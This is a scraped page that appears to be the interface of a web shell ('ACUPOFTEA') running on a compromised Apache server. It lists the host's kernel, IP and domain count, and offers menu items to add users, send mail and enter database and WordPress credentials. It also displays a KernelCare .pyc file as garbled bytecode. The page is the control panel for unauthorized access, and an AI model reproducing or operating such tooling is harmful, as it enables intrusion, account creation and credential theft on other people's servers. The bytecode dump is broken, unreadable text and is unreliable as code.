System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
libexec
/
kcare
/
python
/
__pycache__
/
216.73.216.5
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for accounting.gulfstore-gcc.com made by tabagkayu.
Folder Name
File Name
File Content
File
kcsig_verify.cpython-36.pyc
3 � i\ � @ s d dl Z d dlZd dlZd dlZd dlZd dlZd dlZdgZdd1iZd Z e d �Ze d�Ze d�Z G dd � d e�Zd2dd�Zdd� Zd3dd�Zdd� Zdd� Zdd� Zdd� Zdd� Zd d!� Zejd"d#� �Zejd$d%� �Zd&d'� Zd(d)� Zd4d+d,�Zd5d-d.�Zd6d/d0�Z dS )7� NZrsa4096�gpg�type�kind�role�serial�keyz/dev/shm� � c @ s e Zd ZdS )�ErrorN)�__name__� __module__�__qualname__� r r �)/usr/libexec/kcare/python/kcsig_verify.pyr s r �latin1c C sN t | �}|tkr| S |tkr&| j|�S |tkr:tt| ��S tdt|� ��d S )NzUnsupported pae type )r �btype�utype�encode�int�to_bytes�str� ValueError)�data�encoding�dtyper r r r s r c C s@ t | �}|tkr| S |tkr&| jd�S |tkr8| jd�S t�d S )Nzutf-8)r �ntyper �decoder r �NotImplementedError)r r r r r �nstr( s r �wc C s8 | d }t ||��}|j|� W d Q R X tj|| � d S )Nz.tmp)�open�write�os�rename)�fname�content�mode� tmp_fname�fr r r �atomic_write3 s r) c C s t | �� }|j� S Q R X d S )N)r �read)r$ r( r r r � read_file; s r+ c C s t jt| ��S )N)�json�loadsr+ )r$ r r r � read_json@ s r. c G s: dt | � }x(| D ] }t|�}|dt |�|f 7 }qW |S )Ns %ds %d%s)�lenr )�parts�result�pZbpr r r �paeD s r3 c s t � fdd�|D �� S )Nc s g | ]}� | �qS r r )�.0r( )r r r � <listcomp>O s zpae_fields.<locals>.<listcomp>)r3 )r �fieldsr )r r � pae_fieldsM s r7 c C s t | t| d �S )Nr )r7 � PAE_FIELDS)r r r r �pae_typeR s r9 c C s$ | d t kr tdt| d � ��d S )Nr zinvalid key type: )r8 r r )r r r r � check_keyV s r: c c sH |r| V n8t jtdd��$}|jt| �� |j� |jV W d Q R X d S )Nzkcsig-data-)�dir�prefix)�tempfile�NamedTemporaryFile�TMPDIRr! r �flush�name)r �data_is_filer( r r r � temp_datafile[ s rC c c s* t j| |d�}z |V W d tj|� X d S )N)r<